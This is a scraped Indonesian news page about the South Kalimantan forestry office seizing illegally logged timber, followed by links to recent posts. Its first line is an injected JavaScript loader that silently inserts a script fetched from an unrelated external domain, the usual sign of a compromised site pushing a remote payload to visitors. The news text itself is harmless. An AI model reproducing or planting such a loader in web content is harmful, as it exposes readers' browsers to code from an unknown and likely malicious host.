(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dishut Kalsel Amankan Ratusan Meter Kubik Kayu Hasil Ilegal


BANJARBARU, Pembalakan liar secara terus menerus berdampak hancurnya ekosistem hutan, oleh sebab itu Dinas Kehutanan (Dishut) Kalimantan Selatan (Kalsel) terus berupaya menjaga kelestarian hutan di wilayah Kalsel.

Kepala Dishut Kalsel Hanif Faisol Nurofiq mengatakan, beberapa waktu lalu pihaknya berhasil mengamankan dan menindak pelaku beserta barang bukti hasil ilegal logging. “Kemarin kita sudah amankan hampir ratusan meter kubik kayu. Demikian juga Polres Tanah Laut,” ucapnya, Selasa (12/11).

Sempat hampir kecolongan, pihak Dishut mengungkapkan hal tersebut dikarenakan terlalu sibuk menangani Kebakaran Hutan dan Lahan di Kalsel. “Ternyata udara yang panas, kemudian perhatian kita kepada Karhutla membuat kita agak lengah. Sehingga ada jalan yang berhasil pelaku bikin dengan menggunakan alat berat,” terangnya.

Hanif Faisol menuturkan, kemarin telah memutus akses para pembalak liar. Seluruh barang bukti turut dibawa Dishut, sedangkan sisa kayu yang tertinggal langsung dimusnahkan. “Semua kayu potensial kita angkut, karena berada dalam hutan produksi. Sebagian kayu jenis kecil yang tertinggal kita musnahkan di sana, dengan gergaji atau dipaku sehingga tidak bisa dimanfaatkan dan kembali menjadi humus tanah,” jelasnya.

Dishut Kalsel juga terus berupaya menangani hutan dengan mengaktifkan larangan kegiatan ilegal logging dan ilegal mining, laporan pencegahan bulanan juga terus terpantau. “Semuanya sudah teranggarkan, jadi tidak ada alasan untuk tidak berupaya dengan sungguh-sungguh,” imbuhnya.

Untuk Pelaku yang berada di Riam Adungan, saat ini Dishut Kalsel masih menunggu Polres Tanah Laut memproses hukum. “Telah dijadikan tersangka, kami menunggu mereka dulu untuk kasus yang serupa di lokasi berbeda, kita nggak mungkin melanggar etika,” kata Hanif.

Sedangkan untuk barang bukti terdapat dua skema, pertama diamankan Kapolres Tanah Laut yang berada di lokasi dan dijaga selama 24 jam. Sedangkan Dishut mengamankan kayu yang mampu diamankan dan sudah dalam mekanisme lelang, karena sifatnya yang mudah rusak. (dishut)

Reporter : Dishut
Editor : Chell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

9 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

12 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

17 jam ago

This website uses cookies.